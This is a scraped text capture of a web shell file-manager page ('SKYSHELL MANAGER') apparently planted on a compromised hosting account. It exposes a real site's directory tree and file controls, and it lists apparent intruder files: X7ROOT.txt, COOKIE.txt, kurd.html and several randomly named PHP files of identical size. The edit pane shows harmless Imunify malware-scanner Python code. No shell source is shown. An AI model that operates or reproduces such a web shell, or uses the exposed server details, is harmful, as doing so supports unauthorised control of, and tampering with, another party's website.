📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: report.py
""" This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. Copyright © 2019 Cloud Linux Software Inc. This software is also available under ImunifyAV commercial license, see <https://www.imunify360.com/legal/eula> """ from __future__ import annotations import pwd from dataclasses import dataclass from pathlib import Path from typing import Any, Collection, Iterable, Set, Tuple from defence360agent.subsys.panels import hosting_panel from defence360agent.utils.threads import to_thread from imav.malwarelib.utils.cloudways import CloudwaysUser @dataclass(eq=True, frozen=True) class MalwareDatabaseHitError: code: int message: str @dataclass(eq=True, frozen=True) class MalwareDatabaseHitInfo: scan_id: str path: str signature: str app_name: str db_host: str db_name: str db_port: int errors: Tuple[MalwareDatabaseHitError, ...] owner: int user: int table_name: str | None = None table_field: str | None = None table_row_inf: int | None = None snippet: str | None = None def _get_db_info(self): return ( self.path, self.app_name, self.db_host, self.db_port, self.db_name, self.signature, ) @classmethod def from_report( cls, report, users_from_panel, pw_all, scan_id ) -> Iterable[MalwareDatabaseHitInfo]: detailed_reports = report.get("detailed_reports", []) + report.get( "detailed_urls_reports", [] ) path: str = report["path"] owner: int = report["app_owner_uid"] user: int = CloudwaysUser.override_uid_by_path( Path(path), owner, users_from_panel, pw_all ) hit_info_params: dict[str, Any] = dict( scan_id=scan_id, path=path, app_name=report["app"], db_host=report["database_host"], db_name=report["database_name"], errors=tuple( MalwareDatabaseHitError(err["code"], err["message"]) for err in report["error_list"] ), db_port=report["database_port"], owner=owner, user=user, ) if detailed_reports: for detailed_report in detailed_reports: yield cls( **hit_info_params, signature=detailed_report["sigid"], snippet=detailed_report.get("snpt", ""), ) else: yield cls( **hit_info_params, signature="BAD URL", snippet="", ) @classmethod def _get_hits_from_report( cls, data: dict, **kwargs ) -> Iterable[MalwareDatabaseHitInfo]: for table in data.get("tables", []): for field in table.get("fields", []): for row_id in field.get("row_ids", []): yield cls( signature=data["sigid"], table_name=table["table"], table_field=field["field"], table_row_inf=int(row_id), snippet=data.get("snpt"), **kwargs, ) @classmethod def iter_from_scan_report( cls, report, users_from_panel, pw_all, scan_id ) -> Iterable[MalwareDatabaseHitInfo]: # create a separate hit for each scanned row path: str = report["path"] owner: int = report["app_owner_uid"] user: int = CloudwaysUser.override_uid_by_path( Path(path), owner, users_from_panel, pw_all ) kwargs = { "scan_id": scan_id, "path": path, "app_name": report["app"], "db_host": report["database_host"], "db_name": report["database_name"], "errors": tuple( MalwareDatabaseHitError(err["code"], err["message"]) for err in report["error_list"] ), "db_port": report["database_port"], "owner": owner, "user": user, } detailed_reports = report.get("detailed_reports", []) + report.get( "detailed_urls_reports", [] ) for detailed_report in detailed_reports: yield from cls._get_hits_from_report(detailed_report, **kwargs) @classmethod def get_hits_per_db( cls, hits: Iterable[MalwareDatabaseHitInfo] ) -> set[MalwareDatabaseHitInfo]: db_hits = {} for hit in hits: db_info = hit._get_db_info() if db_info not in db_hits: db_hits[db_info] = hit return set(db_hits.values()) @dataclass(eq=True, frozen=True) class MalwareDatabaseScanReport: hits: Set[MalwareDatabaseHitInfo] started: int completed: int total_resources: int total_malicious: int def _last_completed_time(reports: Iterable[dict]) -> int: return int( max( ( report["start_time"] + report["running_time"] for report in reports ), default=0, ) ) def _first_started_time(reports: Iterable[dict]) -> int: return int(min((report["start_time"] for report in reports), default=0)) def _found(reports: Iterable[dict]) -> Iterable[dict]: return iter(filter(lambda r: r["app"] is not None, reports)) def _malicious(reports: Iterable[dict]) -> Iterable[dict]: return iter( filter( lambda r: r["count_of_detected_malicious_entries"] > 0, reports, ) ) def _total_scanned_rows(reports: Iterable[dict]) -> int: return sum(report.get("rows_count", 0) for report in reports) async def scan_report( hit_report_list: Collection[dict], scan_id: str ) -> MalwareDatabaseScanReport: users_from_panel = set(await hosting_panel.HostingPanel().get_users()) pw_all = await to_thread(pwd.getpwall) hits = set() for report in _malicious(_found(hit_report_list)): hits |= set( MalwareDatabaseHitInfo.iter_from_scan_report( report, users_from_panel, pw_all, scan_id ) ) started = _first_started_time(hit_report_list) completed = _last_completed_time(hit_report_list) total_resources = _total_scanned_rows(hit_report_list) total_malicious = len(hits) return MalwareDatabaseScanReport( hits, started, completed, total_resources, total_malicious )
Save